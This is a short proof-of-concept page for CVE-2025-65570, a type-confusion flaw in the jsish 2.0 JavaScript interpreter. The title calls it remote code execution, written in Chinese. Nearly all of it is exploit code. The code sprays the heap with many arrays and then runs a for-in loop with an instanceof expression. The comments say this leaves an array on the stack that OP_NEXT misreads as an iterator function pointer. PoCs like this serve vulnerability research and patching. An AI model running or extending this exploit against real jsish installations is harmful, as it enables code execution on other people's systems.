CVE-2025-65570 jsish 2.0类型混淆导致远程代码执行

// CVE-2025-65570 PoC - jsish 2.0 Type Confusion in OP_NEXT // This PoC demonstrates the type confusion vulnerability where an array // reference is left on the stack during instanceof expression evaluation // in a for-in loop, causing OP_NEXT to interpret it as an iterator. function trigger_vulnerability() { var target = [1, 2, 3]; var constructor = function() {}; // Trigger the type confusion for (var key in target) { // The instanceof expression with array element access as LHS // leaves an additional array reference on the stack target[key] instanceof constructor; // OP_NEXT interprets the leftover array reference as iterator // and attempts to read iterCmd function pointer from invalid structure } } // Heap spraying technique to increase exploit reliability function heap_spray() { var spray_size = 0x10000; var spray_data = []; // Create many objects to control heap layout for (var i = 0; i < spray_size; i++) { spray_data.push(new Array(0x100)); } return spray_data; } // Execute the exploit try { heap_spray(); trigger_vulnerability(); } catch (e) { print("Exception caught: " + e.message); }